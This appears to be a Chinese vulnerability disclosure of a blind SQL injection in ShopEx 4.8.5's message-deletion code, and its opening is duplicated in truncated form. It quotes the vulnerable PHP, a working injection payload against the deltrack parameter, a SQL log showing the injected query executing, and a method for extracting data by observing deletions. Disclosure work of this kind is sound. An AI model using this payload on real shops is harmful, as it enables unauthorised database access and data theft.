### 简要描述: 又是sql注入漏洞 测试版本:shopex-singel-4.8.5.78660 ### 详细说明: 文件:\core\shop\controller\ctl.member.php ``` function delTrackMsg() { if(!empty($_POST['deltrack'])){ $oMsg = &$this->system->loadModel('resources/msgbox'); $oMsg->delTrackMsg($_POST['deltrack']); $this->splash('success', $this->system->mkUrl("member","track"), __('删除成功')); }else{ $this->splash('failed', $this->system->mkUrl("member","track"), __('删除失败: 没有选中任何记录!')); } } ``` 跟进$oMsg->delTrackMsg($_POST['deltrack']); 在文件:\core\model_v5\resources\mdl.msgbox.php ``` public function delTrackMsg( $aMsgId ) { foreach ( $aMsgId as $val ) { if ( $val ) { $aTmp[] = $val; } } if ( $aTmp ) { $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" ); $this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" ); } return true; } ``` 出现在DELETE语句的sql注入纯粹是体力活,通过是否删除了message作为判断依据慢慢查吧 提交数据包;deltrack[1]=1) and (select count(*) from...
### 简要描述: 又是sql注入漏洞 测试版本:shopex-singel-4.8.5.78660 ### 详细说明: 文件:\core\shop\controller\ctl.member.php ``` function delTrackMsg() { if(!empty($_POST['deltrack'])){ $oMsg = &$this->system->loadModel('resources/msgbox'); $oMsg->delTrackMsg($_POST['deltrack']); $this->splash('success', $this->system->mkUrl("member","track"), __('删除成功')); }else{ $this->splash('failed', $this->system->mkUrl("member","track"), __('删除失败: 没有选中任何记录!')); } } ``` 跟进$oMsg->delTrackMsg($_POST['deltrack']); 在文件:\core\model_v5\resources\mdl.msgbox.php ``` public function delTrackMsg( $aMsgId ) { foreach ( $aMsgId as $val ) { if ( $val ) { $aTmp[] = $val; } } if ( $aTmp ) { $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).") AND del_status='1'" ); $this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (".implode( ",", $aTmp ).")" ); } return true; } ``` 出现在DELETE语句的sql注入纯粹是体力活,通过是否删除了message作为判断依据慢慢查吧 提交数据包;deltrack[1]=1) and (select count(*) from sdb_operators)=1%23 查看sql执行记录: ``` 130526 20:31:25 360 Connectroot@localhost on 360 Init DBshopex 360 QuerySET NAMES 'utf8' 360 QuerySELECT * FROM sdb_plugins WHERE plugin_type="app" 360 Queryselect * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 360 Queryselect * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 360 Queryselect member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 360 QuerySELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 360 QuerySELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20 360 QuerySELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 360 QuerySELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 360 QuerySELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 360 QueryDELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#) AND del_status='1' ``` 执行成功 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201305/262037153076a771047d913678f443c4739ec794.jpg" alt="2013-05-26_203646.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201305/262037153076a771047d913678f443c4739ec794.jpg) 因为(select count(*) from sdb_operators)=1,所以msg_id=1的记录被删除。 慢慢猜解吧。。。